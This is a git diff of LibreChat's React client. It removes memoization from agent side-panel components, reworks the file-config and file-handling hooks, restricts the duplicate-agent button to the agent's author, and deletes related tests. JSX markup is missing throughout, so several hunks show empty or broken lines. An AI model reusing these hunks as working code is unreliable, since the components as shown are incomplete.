@@ -25,8 +25,7 @@ export function ShareMessagesProvider({ messages, children }: ShareMessagesProvi
ask: () => Promise.resolve(),
regenerate: () => {},
handleContinue: () => {},
- latestMessageId: messages[messages.length - 1]?.messageId,
- latestMessageDepth: messages[messages.length - 1]?.depth,
+ latestMessage: messages[messages.length - 1] ?? null,
isSubmitting: false,
abortScroll: false,
setAbortScroll: () => {},
diff --git a/client/src/components/Share/ShareView.tsx b/client/src/components/Share/ShareView.tsx
index 00a0d36398..99ab7f35eb 100644
--- a/client/src/components/Share/ShareView.tsx
+++ b/client/src/components/Share/ShareView.tsx
@@ -123,14 +123,14 @@ function SharedView() {
}
const footer = (
-
-
+
+
);
const mainContent = (
-
+
{content}
{footer}
@@ -189,13 +189,11 @@ function ShareHeader({
}, []);
return (
-
-
+
+
-
-
- {title}
-
+
+
{title}
{formattedDate && (
diff --git a/client/src/components/SidePanel/Agents/AgentAvatar.tsx b/client/src/components/SidePanel/Agents/AgentAvatar.tsx
index 6b778f6515..bb1d44dfdc 100644
--- a/client/src/components/SidePanel/Agents/AgentAvatar.tsx
+++ b/client/src/components/SidePanel/Agents/AgentAvatar.tsx
@@ -1,4 +1,4 @@
-import { memo, useCallback, useEffect } from 'react';
+import { useEffect, useCallback } from 'react';
import { useToastContext } from '@librechat/client';
import { useFormContext, useWatch } from 'react-hook-form';
import { mergeFileConfig, fileConfig as defaultFileConfig } from 'librechat-data-provider';
@@ -99,10 +99,4 @@ function Avatar({ avatar }: { avatar: AgentAvatar | null }) {
);
}
-const MemoizedAvatar = memo(
- Avatar,
- (prevProps, nextProps) => prevProps.avatar?.filepath === nextProps.avatar?.filepath,
-);
-MemoizedAvatar.displayName = 'Avatar';
-
-export default MemoizedAvatar;
+export default Avatar;
diff --git a/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx b/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
index 4485c0b08d..5840fe0f12 100644
--- a/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
+++ b/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
@@ -1,4 +1,4 @@
-import React, { memo, useState } from 'react';
+import React, { useState } from 'react';
import { ControlCombobox } from '@librechat/client';
import {
useWatch,
@@ -95,10 +95,4 @@ const AgentCategorySelector: React.FC<{ className?: string }> = ({ className })
);
};
-const MemoizedAgentCategorySelector = memo(
- AgentCategorySelector,
- (prevProps, nextProps) => prevProps.className === nextProps.className,
-);
-MemoizedAgentCategorySelector.displayName = 'AgentCategorySelector';
-
-export default MemoizedAgentCategorySelector;
+export default AgentCategorySelector;
diff --git a/client/src/components/SidePanel/Agents/AgentFooter.tsx b/client/src/components/SidePanel/Agents/AgentFooter.tsx
index ff98f7c48b..b2fa996596 100644
--- a/client/src/components/SidePanel/Agents/AgentFooter.tsx
+++ b/client/src/components/SidePanel/Agents/AgentFooter.tsx
@@ -57,7 +57,6 @@ export default function AgentFooter({
useResourcePermissions(ResourceType.REMOTE_AGENT, agent?._id || '');
const canShareThisAgent = hasPermission(PermissionBits.SHARE);
- const canEditThisAgent = hasPermission(PermissionBits.EDIT);
const canDeleteThisAgent = hasPermission(PermissionBits.DELETE);
const canShareRemoteAgent = hasRemoteAgentPermission(PermissionBits.SHARE);
const isSaving = createMutation.isLoading || updateMutation.isLoading || isAvatarUploading;
@@ -119,8 +118,7 @@ export default function AgentFooter({
)}
- {(agent?.author === user?.id || user?.role === SystemRoles.ADMIN || canEditThisAgent) &&
- !permissionsLoading &&
}
+ {agent && agent.author === user?.id &&
}
{/* Submit Button */}
{
- const agent_id = agentId ?? '';
+ const agent_id = conversation?.agent_id ?? '';
if (!isEphemeralAgent(agent_id)) {
setCurrentAgentId(agent_id);
}
- }, [setCurrentAgentId, agentId]);
+ }, [setCurrentAgentId, conversation?.agent_id]);
if (activePanel === Panel.actions) {
return ;
diff --git a/client/src/components/SidePanel/Agents/AgentSelect.tsx b/client/src/components/SidePanel/Agents/AgentSelect.tsx
index 323136340e..a9e4ef7036 100644
--- a/client/src/components/SidePanel/Agents/AgentSelect.tsx
+++ b/client/src/components/SidePanel/Agents/AgentSelect.tsx
@@ -1,6 +1,6 @@
import { EarthIcon } from 'lucide-react';
import { ControlCombobox } from '@librechat/client';
-import { memo, useCallback, useEffect, useRef } from 'react';
+import { useCallback, useEffect, useRef } from 'react';
import { useFormContext, Controller } from 'react-hook-form';
import { AgentCapabilities, defaultAgentFormValues } from 'librechat-data-provider';
import type { UseMutationResult, QueryObserverResult } from '@tanstack/react-query';
@@ -12,7 +12,7 @@ import { useListAgentsQuery } from '~/data-provider';
const keys = new Set(Object.keys(defaultAgentFormValues));
-function AgentSelect({
+export default function AgentSelect({
agentQuery,
selectedAgentId = null,
setCurrentAgentId,
@@ -225,16 +225,3 @@ function AgentSelect({
/>
);
}
-
-const MemoizedAgentSelect = memo(
- AgentSelect,
- (prevProps, nextProps) =>
- prevProps.selectedAgentId === nextProps.selectedAgentId &&
- prevProps.agentQuery.data === nextProps.agentQuery.data &&
- prevProps.agentQuery.isSuccess === nextProps.agentQuery.isSuccess &&
- prevProps.createMutation.data?.id === nextProps.createMutation.data?.id &&
- prevProps.createMutation.isLoading === nextProps.createMutation.isLoading,
-);
-MemoizedAgentSelect.displayName = 'AgentSelect';
-
-export default MemoizedAgentSelect;
diff --git a/client/src/components/SidePanel/Agents/Code/Files.tsx b/client/src/components/SidePanel/Agents/Code/Files.tsx
index 16360a7a0b..3ef7da9ca6 100644
--- a/client/src/components/SidePanel/Agents/Code/Files.tsx
+++ b/client/src/components/SidePanel/Agents/Code/Files.tsx
@@ -1,16 +1,23 @@
-import { memo, useMemo, useRef, useState } from 'react';
+import { useState, useRef } from 'react';
import { useFormContext } from 'react-hook-form';
import { AttachmentIcon } from '@librechat/client';
-import { EToolResources, EModelEndpoint, AgentCapabilities } from 'librechat-data-provider';
+import {
+ EToolResources,
+ EModelEndpoint,
+ mergeFileConfig,
+ AgentCapabilities,
+ getEndpointFileConfig,
+} from 'librechat-data-provider';
import type { ExtendedFile, AgentForm } from '~/common';
-import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
-import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
+import { useFileHandling, useLocalize, useLazyEffect } from '~/hooks';
import FileRow from '~/components/Chat/Input/Files/FileRow';
+import { useGetFileConfig } from '~/data-provider';
+import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
const tool_resource = EToolResources.execute_code;
-function Files({
+export default function Files({
agent_id,
files: _files,
}: {
@@ -18,21 +25,17 @@ function Files({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
+ const { setFilesLoading } = useChatContext();
const { watch } = useFormContext();
const fileInputRef = useRef(null);
const [files, setFiles] = useState>(new Map());
- const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
- const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
- const endpointOverride = providerValue || EModelEndpoint.agents;
- const { abortUpload, handleFileChange } = useFileHandlingNoChatContext(
- {
- fileSetter: setFiles,
- additionalMetadata: { agent_id, tool_resource },
- endpointOverride,
- endpointTypeOverride: endpointType,
- },
- fileHandlingState,
- );
+ const { data: fileConfig = null } = useGetFileConfig({
+ select: (data) => mergeFileConfig(data),
+ });
+ const { abortUpload, handleFileChange } = useFileHandling({
+ fileSetter: setFiles,
+ additionalMetadata: { agent_id, tool_resource },
+ });
useLazyEffect(
() => {
@@ -45,6 +48,12 @@ function Files({
);
const codeChecked = watch(AgentCapabilities.execute_code);
+
+ const endpointFileConfig = getEndpointFileConfig({
+ fileConfig,
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.agents,
+ });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
if (isUploadDisabled) {
@@ -71,6 +80,7 @@ function Files({
agent_id={agent_id}
abortUpload={abortUpload}
tool_resource={tool_resource}
+ setFilesLoading={setFilesLoading}
Wrapper={({ children }) => {children}
}
/>
@@ -99,8 +109,3 @@ function Files({
);
}
-
-const MemoizedFiles = memo(Files);
-MemoizedFiles.displayName = 'Files';
-
-export default MemoizedFiles;
diff --git a/client/src/components/SidePanel/Agents/DeleteButton.tsx b/client/src/components/SidePanel/Agents/DeleteButton.tsx
index a738e382b3..9758f80abe 100644
--- a/client/src/components/SidePanel/Agents/DeleteButton.tsx
+++ b/client/src/components/SidePanel/Agents/DeleteButton.tsx
@@ -1,6 +1,4 @@
-import { memo } from 'react';
import { useFormContext } from 'react-hook-form';
-import { useRecoilValue, useSetRecoilState } from 'recoil';
import {
Label,
Button,
@@ -13,12 +11,12 @@ import {
import type { Agent, AgentCreateParams } from 'librechat-data-provider';
import type { UseMutationResult } from '@tanstack/react-query';
import { logger, getDefaultAgentFormValues } from '~/utils';
+import { useLocalize, useSetIndexOptions } from '~/hooks';
import { useDeleteAgentMutation } from '~/data-provider';
+import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
-import { useLocalize } from '~/hooks';
-import store from '~/store';
-function DeleteButton({
+export default function DeleteButton({
agent_id,
setCurrentAgentId,
createMutation,
@@ -30,8 +28,8 @@ function DeleteButton({
const localize = useLocalize();
const { reset } = useFormContext();
const { showToast } = useToastContext();
- const setConversation = useSetRecoilState(store.conversationByIndex(0));
- const conversationAgentId = useRecoilValue(store.conversationAgentIdByIndex(0));
+ const { conversation } = useChatContext();
+ const { setOption } = useSetIndexOptions();
const deleteAgent = useDeleteAgentMutation({
onSuccess: (_, vars, context) => {
@@ -54,16 +52,15 @@ function DeleteButton({
if (!firstAgent) {
setCurrentAgentId(undefined);
reset(getDefaultAgentFormValues());
- setConversation((prev) => (prev ? { ...prev, agent_id: '' } : prev));
- return;
+ return setOption('agent_id')('');
}
- if (vars.agent_id === conversationAgentId) {
- setConversation((prev) => (prev ? { ...prev, model: '', agent_id: firstAgent.id } : prev));
- return;
+ if (vars.agent_id === conversation?.agent_id) {
+ setOption('model')('');
+ return setOption('agent_id')(firstAgent.id);
}
- const currentAgent = updatedList.find((agent) => agent.id === conversationAgentId);
+ const currentAgent = updatedList.find((agent) => agent.id === conversation?.agent_id);
if (currentAgent) {
setCurrentAgentId(currentAgent.id);
@@ -91,7 +88,6 @@ function DeleteButton({
size="sm"
variant="outline"
aria-label={localize('com_ui_delete_agent')}
- title={localize('com_ui_delete_agent')}
type="button"
>
@@ -122,15 +118,3 @@ function DeleteButton({
);
}
-
-const MemoizedDeleteButton = memo(
- DeleteButton,
- (prevProps, nextProps) =>
- prevProps.agent_id === nextProps.agent_id &&
- prevProps.setCurrentAgentId === nextProps.setCurrentAgentId &&
- prevProps.createMutation.data?.id === nextProps.createMutation.data?.id &&
- prevProps.createMutation.isLoading === nextProps.createMutation.isLoading,
-);
-MemoizedDeleteButton.displayName = 'DeleteButton';
-
-export default MemoizedDeleteButton;
diff --git a/client/src/components/SidePanel/Agents/DuplicateAgent.tsx b/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
index 1e598d528d..089dea0732 100644
--- a/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
+++ b/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
@@ -37,7 +37,6 @@ export default function DuplicateAgent({ agent_id }: { agent_id: string }) {
size="sm"
variant="outline"
aria-label={localize('com_ui_duplicate_agent')}
- title={localize('com_ui_duplicate_agent')}
type="button"
onClick={handleDuplicate}
>
diff --git a/client/src/components/SidePanel/Agents/FileContext.tsx b/client/src/components/SidePanel/Agents/FileContext.tsx
index 906d742127..d437e8457f 100644
--- a/client/src/components/SidePanel/Agents/FileContext.tsx
+++ b/client/src/components/SidePanel/Agents/FileContext.tsx
@@ -1,7 +1,12 @@
-import { memo, useMemo, useRef, useState } from 'react';
+import { useState, useRef } from 'react';
import { Folder } from 'lucide-react';
import * as Ariakit from '@ariakit/react';
-import { EModelEndpoint, EToolResources } from 'librechat-data-provider';
+import {
+ EModelEndpoint,
+ EToolResources,
+ mergeFileConfig,
+ getEndpointFileConfig,
+} from 'librechat-data-provider';
import {
HoverCard,
DropdownPopup,
@@ -13,15 +18,14 @@ import {
HoverCardTrigger,
} from '@librechat/client';
import type { ExtendedFile } from '~/common';
-import { useSharePointFileHandlingNoChatContext } from '~/hooks/Files/useSharePointFileHandling';
-import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
-import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
+import { useFileHandling, useLocalize, useLazyEffect, useSharePointFileHandling } from '~/hooks';
+import { useGetFileConfig, useGetStartupConfig } from '~/data-provider';
import { SharePointPickerDialog } from '~/components/SharePoint';
import FileRow from '~/components/Chat/Input/Files/FileRow';
-import { useGetStartupConfig } from '~/data-provider';
import { ESide, isEphemeralAgent } from '~/common';
+import { useChatContext } from '~/Providers';
-function FileContext({
+export default function FileContext({
agent_id,
files: _files,
}: {
@@ -29,35 +33,26 @@ function FileContext({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
+ const { setFilesLoading } = useChatContext();
const fileInputRef = useRef
(null);
const [files, setFiles] = useState>(new Map());
- const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
const [isPopoverActive, setIsPopoverActive] = useState(false);
const [isSharePointDialogOpen, setIsSharePointDialogOpen] = useState(false);
const { data: startupConfig } = useGetStartupConfig();
const sharePointEnabled = startupConfig?.sharePointFilePickerEnabled;
- const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
- const endpointOverride = providerValue || EModelEndpoint.agents;
- const { handleFileChange } = useFileHandlingNoChatContext(
- {
- additionalMetadata: { agent_id, tool_resource: EToolResources.context },
- endpointOverride,
- endpointTypeOverride: endpointType,
- fileSetter: setFiles,
- },
- fileHandlingState,
- );
- const { handleSharePointFiles, isProcessing, downloadProgress } =
- useSharePointFileHandlingNoChatContext(
- {
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- endpointOverride,
- endpointTypeOverride: endpointType,
- fileSetter: setFiles,
- },
- fileHandlingState,
- );
+ const { data: fileConfig = null } = useGetFileConfig({
+ select: (data) => mergeFileConfig(data),
+ });
+
+ const { handleFileChange } = useFileHandling({
+ additionalMetadata: { agent_id, tool_resource: EToolResources.context },
+ fileSetter: setFiles,
+ });
+ const { handleSharePointFiles, isProcessing, downloadProgress } = useSharePointFileHandling({
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ fileSetter: setFiles,
+ });
useLazyEffect(
() => {
if (_files) {
@@ -67,6 +62,12 @@ function FileContext({
[_files],
750,
);
+
+ const endpointFileConfig = getEndpointFileConfig({
+ fileConfig,
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.agents,
+ });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
const handleSharePointFilesSelected = async (sharePointFiles: any[]) => {
try {
@@ -135,6 +136,7 @@ function FileContext({
{children}
}
@@ -195,8 +197,3 @@ function FileContext({
);
}
-
-const MemoizedFileContext = memo(FileContext);
-MemoizedFileContext.displayName = 'FileContext';
-
-export default MemoizedFileContext;
diff --git a/client/src/components/SidePanel/Agents/FileSearch.tsx b/client/src/components/SidePanel/Agents/FileSearch.tsx
index 79a08de0ed..a82fc8bdfb 100644
--- a/client/src/components/SidePanel/Agents/FileSearch.tsx
+++ b/client/src/components/SidePanel/Agents/FileSearch.tsx
@@ -1,20 +1,26 @@
-import { memo, useMemo, useRef, useState } from 'react';
+import { useState, useRef } from 'react';
import { Folder } from 'lucide-react';
import * as Ariakit from '@ariakit/react';
import { useFormContext } from 'react-hook-form';
import { SharePointIcon, AttachmentIcon, DropdownPopup } from '@librechat/client';
-import { EModelEndpoint, EToolResources, AgentCapabilities } from 'librechat-data-provider';
+import {
+ EModelEndpoint,
+ EToolResources,
+ mergeFileConfig,
+ AgentCapabilities,
+ getEndpointFileConfig,
+} from 'librechat-data-provider';
import type { ExtendedFile, AgentForm } from '~/common';
-import { useSharePointFileHandlingNoChatContext } from '~/hooks/Files/useSharePointFileHandling';
-import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
-import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
+import useSharePointFileHandling from '~/hooks/Files/useSharePointFileHandling';
+import { useGetFileConfig, useGetStartupConfig } from '~/data-provider';
+import { useFileHandling, useLocalize, useLazyEffect } from '~/hooks';
import { SharePointPickerDialog } from '~/components/SharePoint';
import FileRow from '~/components/Chat/Input/Files/FileRow';
-import { useGetStartupConfig } from '~/data-provider';
import FileSearchCheckbox from './FileSearchCheckbox';
+import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
-function FileSearch({
+export default function FileSearch({
agent_id,
files: _files,
}: {
@@ -22,38 +28,29 @@ function FileSearch({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
+ const { setFilesLoading } = useChatContext();
const { watch } = useFormContext();
const fileInputRef = useRef(null);
const [files, setFiles] = useState>(new Map());
- const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
const [isPopoverActive, setIsPopoverActive] = useState(false);
const [isSharePointDialogOpen, setIsSharePointDialogOpen] = useState(false);
// Get startup configuration for SharePoint feature flag
const { data: startupConfig } = useGetStartupConfig();
- const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
- const endpointOverride = providerValue || EModelEndpoint.agents;
- const { handleFileChange } = useFileHandlingNoChatContext(
- {
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- endpointOverride,
- endpointTypeOverride: endpointType,
- fileSetter: setFiles,
- },
- fileHandlingState,
- );
+ const { data: fileConfig = null } = useGetFileConfig({
+ select: (data) => mergeFileConfig(data),
+ });
- const { handleSharePointFiles, isProcessing, downloadProgress } =
- useSharePointFileHandlingNoChatContext(
- {
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- endpointOverride,
- endpointTypeOverride: endpointType,
- fileSetter: setFiles,
- },
- fileHandlingState,
- );
+ const { handleFileChange } = useFileHandling({
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ fileSetter: setFiles,
+ });
+
+ const { handleSharePointFiles, isProcessing, downloadProgress } = useSharePointFileHandling({
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ fileSetter: setFiles,
+ });
useLazyEffect(
() => {
@@ -66,6 +63,12 @@ function FileSearch({
);
const fileSearchChecked = watch(AgentCapabilities.file_search);
+
+ const endpointFileConfig = getEndpointFileConfig({
+ fileConfig,
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.agents,
+ });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
const sharePointEnabled = startupConfig?.sharePointFilePickerEnabled;
@@ -138,6 +141,7 @@ function FileSearch({
{children}
}
@@ -197,8 +201,3 @@ function FileSearch({
);
}
-
-const MemoizedFileSearch = memo(FileSearch);
-MemoizedFileSearch.displayName = 'FileSearch';
-
-export default MemoizedFileSearch;
diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx
deleted file mode 100644
index 2bbd3fea22..0000000000
--- a/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx
+++ /dev/null
@@ -1,192 +0,0 @@
-import React from 'react';
-import { render, screen } from '@testing-library/react';
-import { useForm, FormProvider } from 'react-hook-form';
-import { EModelEndpoint, mergeFileConfig, resolveEndpointType } from 'librechat-data-provider';
-import type { TEndpointsConfig } from 'librechat-data-provider';
-import type { AgentForm } from '~/common';
-import useAgentFileConfig from '~/hooks/Agents/useAgentFileConfig';
-
-/**
- * Tests the useAgentFileConfig hook used by FileContext, FileSearch, and Code/Files.
- * Uses the real hook with mocked data-fetching layer.
- */
-
-const mockEndpointsConfig: TEndpointsConfig = {
- [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
- [EModelEndpoint.agents]: { userProvide: false, order: 1 },
- Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
- 'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
-};
-
-const defaultFileConfig = mergeFileConfig({
- endpoints: {
- Moonshot: { fileLimit: 5 },
- [EModelEndpoint.agents]: { fileLimit: 20 },
- default: { fileLimit: 10 },
- },
-});
-
-let mockFileConfig = defaultFileConfig;
-
-jest.mock('~/data-provider', () => ({
- useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
- useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
- data: select != null ? select(mockFileConfig) : mockFileConfig,
- }),
-}));
-
-function FileConfigProbe() {
- const { endpointType, endpointFileConfig } = useAgentFileConfig();
- return (
-
- {String(endpointType)}
- {endpointFileConfig.fileLimit}
- {String(endpointFileConfig.disabled ?? false)}
-
- );
-}
-
-function TestWrapper({ provider }: { provider?: string | { label: string; value: string } }) {
- const methods = useForm
({
- defaultValues: { provider: provider as AgentForm['provider'] },
- });
- return (
-
-
-
- );
-}
-
-describe('AgentPanel file config resolution (useAgentFileConfig)', () => {
- describe('endpointType resolution from form provider', () => {
- it('resolves to custom when provider is a custom endpoint string', () => {
- render( );
- expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
- });
-
- it('resolves to custom when provider is a custom endpoint with spaces', () => {
- render( );
- expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
- });
-
- it('resolves to openAI when provider is openAI', () => {
- render( );
- expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.openAI);
- });
-
- it('falls back to agents when provider is undefined', () => {
- render( );
- expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
- });
-
- it('falls back to agents when provider is empty string', () => {
- render( );
- expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
- expect(screen.getByTestId('fileLimit').textContent).toBe('20');
- });
-
- it('falls back to agents when provider option has empty value', () => {
- render( );
- expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
- expect(screen.getByTestId('fileLimit').textContent).toBe('20');
- });
-
- it('resolves correctly when provider is an option object', () => {
- render( );
- expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
- });
- });
-
- describe('file config fallback chain', () => {
- it('uses Moonshot-specific file config when provider is Moonshot', () => {
- render( );
- expect(screen.getByTestId('fileLimit').textContent).toBe('5');
- });
-
- it('falls back to agents file config when provider has no specific config', () => {
- render( );
- expect(screen.getByTestId('fileLimit').textContent).toBe('20');
- });
-
- it('uses agents file config when no provider is set', () => {
- render( );
- expect(screen.getByTestId('fileLimit').textContent).toBe('20');
- });
-
- it('falls back to default config for openAI provider (no openAI-specific config)', () => {
- render( );
- expect(screen.getByTestId('fileLimit').textContent).toBe('10');
- });
- });
-
- describe('disabled state', () => {
- beforeEach(() => {
- mockFileConfig = defaultFileConfig;
- });
-
- it('reports not disabled for standard config', () => {
- render( );
- expect(screen.getByTestId('disabled').textContent).toBe('false');
- });
-
- it('reports disabled when provider-specific config is disabled', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- Moonshot: { disabled: true },
- [EModelEndpoint.agents]: { fileLimit: 20 },
- default: { fileLimit: 10 },
- },
- });
-
- render( );
- expect(screen.getByTestId('disabled').textContent).toBe('true');
- });
-
- it('reports disabled when agents config is disabled and no provider set', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- [EModelEndpoint.agents]: { disabled: true },
- default: { fileLimit: 10 },
- },
- });
-
- render( );
- expect(screen.getByTestId('disabled').textContent).toBe('true');
- });
-
- it('reports disabled when agents is disabled and provider has no specific config', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- [EModelEndpoint.agents]: { disabled: true },
- default: { fileLimit: 10 },
- },
- });
-
- render( );
- expect(screen.getByTestId('disabled').textContent).toBe('true');
- });
-
- it('provider-specific enabled overrides agents disabled', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- Moonshot: { disabled: false, fileLimit: 5 },
- [EModelEndpoint.agents]: { disabled: true },
- default: { fileLimit: 10 },
- },
- });
-
- render( );
- expect(screen.getByTestId('disabled').textContent).toBe('false');
- expect(screen.getByTestId('fileLimit').textContent).toBe('5');
- });
- });
-
- describe('consistency with direct custom endpoint', () => {
- it('resolves to the same type as a direct custom endpoint would', () => {
- render( );
- const agentEndpointType = screen.getByTestId('endpointType').textContent;
- const directEndpointType = resolveEndpointType(mockEndpointsConfig, 'Moonshot');
- expect(agentEndpointType).toBe(directEndpointType);
- });
- });
-});
diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
index cfceeacb33..8d882bffe8 100644
--- a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
+++ b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
@@ -362,15 +362,9 @@ describe('AgentFooter', () => {
}
return undefined;
});
- mockUseHasAccess.mockReturnValue(true);
- mockUseResourcePermissions.mockReturnValue({
- hasPermission: () => false,
- isLoading: false,
- permissionBits: 0,
- });
render( );
- expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument(); // No share permission
- expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument(); // No edit permission
+ expect(screen.queryByTestId('grant-access-dialog-agent')).toBeInTheDocument(); // Still shows because hasAccess is true
+ expect(screen.queryByTestId('duplicate-agent')).not.toBeInTheDocument(); // Should not show for different author
});
test('adjusts UI based on permissions', () => {
@@ -426,84 +420,7 @@ describe('AgentFooter', () => {
render( );
expect(screen.queryByTestId('delete-button')).not.toBeInTheDocument();
expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument();
- expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument();
- });
-
- test('shows duplicate button for non-owner with EDIT permission', () => {
- mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different));
- mockUseWatch.mockImplementation(({ name }) => {
- if (name === 'agent') {
- return {
- _id: 'agent-db-123',
- name: 'Test Agent',
- author: 'user-123',
- projectIds: ['project-1'],
- isCollaborative: false,
- };
- }
- if (name === 'id') {
- return 'agent-123';
- }
- return undefined;
- });
- mockUseResourcePermissions.mockReturnValue({
- hasPermission: (bit: number) => bit === 2,
- isLoading: false,
- permissionBits: 2,
- });
- render( );
- expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
- });
-
- test('hides duplicate button for non-owner with only VIEW permission', () => {
- mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different));
- mockUseWatch.mockImplementation(({ name }) => {
- if (name === 'agent') {
- return {
- _id: 'agent-db-123',
- name: 'Test Agent',
- author: 'user-123',
- projectIds: ['project-1'],
- isCollaborative: false,
- };
- }
- if (name === 'id') {
- return 'agent-123';
- }
- return undefined;
- });
- mockUseResourcePermissions.mockReturnValue({
- hasPermission: () => false,
- isLoading: false,
- permissionBits: 1,
- });
- render( );
- expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument();
- });
-
- test('shows duplicate button for admin who is not the author', () => {
- mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.admin));
- mockUseWatch.mockImplementation(({ name }) => {
- if (name === 'agent') {
- return {
- _id: 'agent-db-123',
- name: 'Test Agent',
- author: 'user-123',
- projectIds: ['project-1'],
- isCollaborative: false,
- };
- }
- if (name === 'id') {
- return 'agent-123';
- }
- return undefined;
- });
- mockUseResourcePermissions.mockReturnValue({
- hasPermission: () => false,
- isLoading: false,
- permissionBits: 0,
- });
- render( );
+ // Duplicate button should still show as it doesn't depend on permissions loading
expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
});
});
diff --git a/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx
deleted file mode 100644
index 0e965e4c84..0000000000
--- a/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx
+++ /dev/null
@@ -1,138 +0,0 @@
-import React from 'react';
-import { render, screen } from '@testing-library/react';
-import { useForm, FormProvider } from 'react-hook-form';
-import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
-import type { TEndpointsConfig } from 'librechat-data-provider';
-import type { AgentForm } from '~/common';
-import Files from '../Code/Files';
-
-const mockEndpointsConfig: TEndpointsConfig = {
- [EModelEndpoint.agents]: { userProvide: false, order: 1 },
- Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
-};
-
-let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
-
-jest.mock('~/data-provider', () => ({
- useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
- useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
- data: select != null ? select(mockFileConfig) : mockFileConfig,
- }),
-}));
-
-jest.mock('~/hooks', () => ({
- useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
- useLocalize: () => (key: string) => key,
- useLazyEffect: () => {},
-}));
-
-const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
- abortUpload: jest.fn(),
- handleFileChange: jest.fn(),
-});
-
-jest.mock('~/hooks/Files/useFileHandling', () => ({
- useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
-}));
-
-jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
-
-jest.mock('@librechat/client', () => ({
- AttachmentIcon: () => ,
-}));
-
-function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
- const methods = useForm({
- defaultValues: { provider: provider as AgentForm['provider'] },
- });
- return {children} ;
-}
-
-describe('Code/Files', () => {
- it('renders upload UI when file uploads are not disabled', () => {
